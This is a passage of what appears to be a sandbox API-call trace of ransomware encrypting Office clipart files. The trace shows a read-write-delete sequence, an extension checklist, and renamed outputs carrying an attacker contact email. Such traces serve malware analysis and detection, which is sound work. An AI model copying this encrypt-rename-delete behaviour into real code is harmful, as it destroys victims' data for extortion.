(lpString=".jpg") returned 4 [0189.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.106] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.106] lstrlenW (lpString="DD01586_.WMF") returned 12 [0189.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0189.107] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2324) returned 1 [0189.107] CloseHandle (hObject=0x53c) returned 1 [0189.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0189.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0189.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0189.107] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.107] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0189.108] GetLastError () returned 0x0 [0189.108] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x914, lpOverlapped=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x920, lpOverlapped=0x0) returned 1 [0189.110] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.110] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.110] SetEndOfFile (hFile=0x534) returned 1 [0189.110] CloseHandle (hObject=0x534) returned 1 [0189.111] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.111] SetEndOfFile (hFile=0x53c) returned 1 [0189.113] CloseHandle (hObject=0x53c) returned 1 [0189.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0189.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.115] lstrlenW (lpString=".doc") returned 4 [0189.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString=".docx") returned 5 [0189.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.115] lstrlenW (lpString=".pdf") returned 4 [0189.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString=".xls") returned 4 [0189.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.115] lstrlenW (lpString=".xlsx") returned 5 [0189.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.115] lstrlenW (lpString=".ppt") returned 4 [0189.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.115] lstrlenW (lpString=".zip") returned 4 [0189.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.115] lstrlenW (lpString=".rar") returned 4 [0189.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString=".bz2") returned 4 [0189.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString=".7z") returned 3 [0189.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.115] lstrlenW (lpString=".dbf") returned 4 [0189.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.115] lstrlenW (lpString=".1cd") returned 4 [0189.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.115] lstrlenW (lpString=".jpg") returned 4 [0189.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.116] lstrlenW (lpString=".doc") returned 4 [0189.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.116] lstrlenW (lpString=".docx") returned 5 [0189.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.116] lstrlenW (lpString=".pdf") returned 4 [0189.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.116] lstrlenW (lpString=".xls") returned 4 [0189.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.116] lstrlenW (lpString=".xlsx") returned 5 [0189.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.116] lstrlenW (lpString=".ppt") returned 4 [0189.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.116] lstrlenW (lpString=".zip") returned 4 [0189.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.116] lstrlenW (lpString=".rar") returned 4 [0189.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.116] lstrlenW (lpString=".bz2") returned 4 [0189.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.116] lstrlenW (lpString=".7z") returned 3 [0189.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.116] lstrlenW (lpString=".dbf") returned 4 [0189.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.116] lstrlenW (lpString=".1cd") returned 4 [0189.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0189.117] lstrlenW (lpString=".jpg") returned 4 [0189.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.117] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.117] lstrlenW (lpString="DD01628_.WMF") returned 12 [0189.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0189.131] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=19068) returned 1 [0189.131] CloseHandle (hObject=0x53c) returned 1 [0189.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0189.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0189.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0189.132] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.132] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0189.137] GetLastError () returned 0x0 [0189.137] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0189.154] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4a80, lpOverlapped=0x0) returned 1 [0189.156] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.156] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.156] SetEndOfFile (hFile=0x534) returned 1 [0189.156] CloseHandle (hObject=0x534) returned 1 [0189.156] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.156] SetEndOfFile (hFile=0x53c) returned 1 [0189.160] CloseHandle (hObject=0x53c) returned 1 [0189.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.162] lstrlenW (lpString=".doc") returned 4 [0189.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".docx") returned 5 [0189.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.162] lstrlenW (lpString=".pdf") returned 4 [0189.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".xls") returned 4 [0189.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.162] lstrlenW (lpString=".xlsx") returned 5 [0189.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.162] lstrlenW (lpString=".ppt") returned 4 [0189.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.162] lstrlenW (lpString=".zip") returned 4 [0189.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.162] lstrlenW (lpString=".rar") returned 4 [0189.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".bz2") returned 4 [0189.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".7z") returned 3 [0189.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.163] lstrlenW (lpString=".dbf") returned 4 [0189.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.163] lstrlenW (lpString=".1cd") returned 4 [0189.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.163] lstrlenW (lpString=".jpg") returned 4 [0189.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.163] lstrlenW (lpString=".doc") returned 4 [0189.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString=".docx") returned 5 [0189.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.163] lstrlenW (lpString=".pdf") returned 4 [0189.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString=".xls") returned 4 [0189.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.163] lstrlenW (lpString=".xlsx") returned 5 [0189.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.163] lstrlenW (lpString=".ppt") returned 4 [0189.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.164] lstrlenW (lpString=".zip") returned 4 [0189.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.164] lstrlenW (lpString=".rar") returned 4 [0189.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.164] lstrlenW (lpString=".bz2") returned 4 [0189.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.164] lstrlenW (lpString=".7z") returned 3 [0189.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.164] lstrlenW (lpString=".dbf") returned 4 [0189.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.164] lstrlenW (lpString=".1cd") returned 4 [0189.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0189.164] lstrlenW (lpString=".jpg") returned 4 [0189.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.164] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.164] lstrlenW (lpString="DD01630_.WMF") returned 12 [0189.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.146] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=296) returned 1 [0191.146] CloseHandle (hObject=0x520) returned 1 [0191.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0191.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.147] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.147] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.148] GetLastError () returned 0x0 [0191.148] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x128, lpOverlapped=0x0) returned 1 [0191.149] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x130, lpOverlapped=0x0) returned 1 [0191.150] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.150] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0191.152] SetEndOfFile (hFile=0x544) returned 1 [0191.152] CloseHandle (hObject=0x544) returned 1 [0191.152] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.152] SetEndOfFile (hFile=0x520) returned 1 [0191.156] CloseHandle (hObject=0x520) returned 1 [0191.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0191.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.157] lstrlenW (lpString=".doc") returned 4 [0191.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.157] lstrlenW (lpString=".docx") returned 5 [0191.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.157] lstrlenW (lpString=".pdf") returned 4 [0191.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.157] lstrlenW (lpString=".xls") returned 4 [0191.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.157] lstrlenW (lpString=".xlsx") returned 5 [0191.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.157] lstrlenW (lpString=".ppt") returned 4 [0191.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.157] lstrlenW (lpString=".zip") returned 4 [0191.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.157] lstrlenW (lpString=".rar") returned 4 [0191.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.157] lstrlenW (lpString=".bz2") returned 4 [0191.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.157] lstrlenW (lpString=".7z") returned 3 [0191.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.158] lstrlenW (lpString=".dbf") returned 4 [0191.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.158] lstrlenW (lpString=".1cd") returned 4 [0191.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.158] lstrlenW (lpString=".jpg") returned 4 [0191.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.158] lstrlenW (lpString=".doc") returned 4 [0191.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.158] lstrlenW (lpString=".docx") returned 5 [0191.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.158] lstrlenW (lpString=".pdf") returned 4 [0191.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.158] lstrlenW (lpString=".xls") returned 4 [0191.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.158] lstrlenW (lpString=".xlsx") returned 5 [0191.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.158] lstrlenW (lpString=".ppt") returned 4 [0191.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.158] lstrlenW (lpString=".zip") returned 4 [0191.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.158] lstrlenW (lpString=".rar") returned 4 [0191.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.159] lstrlenW (lpString=".bz2") returned 4 [0191.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.159] lstrlenW (lpString=".7z") returned 3 [0191.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.159] lstrlenW (lpString=".dbf") returned 4 [0191.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.159] lstrlenW (lpString=".1cd") returned 4 [0191.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0191.159] lstrlenW (lpString=".jpg") returned 4 [0191.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.159] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.159] lstrlenW (lpString="EN00319_.WMF") returned 12 [0191.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 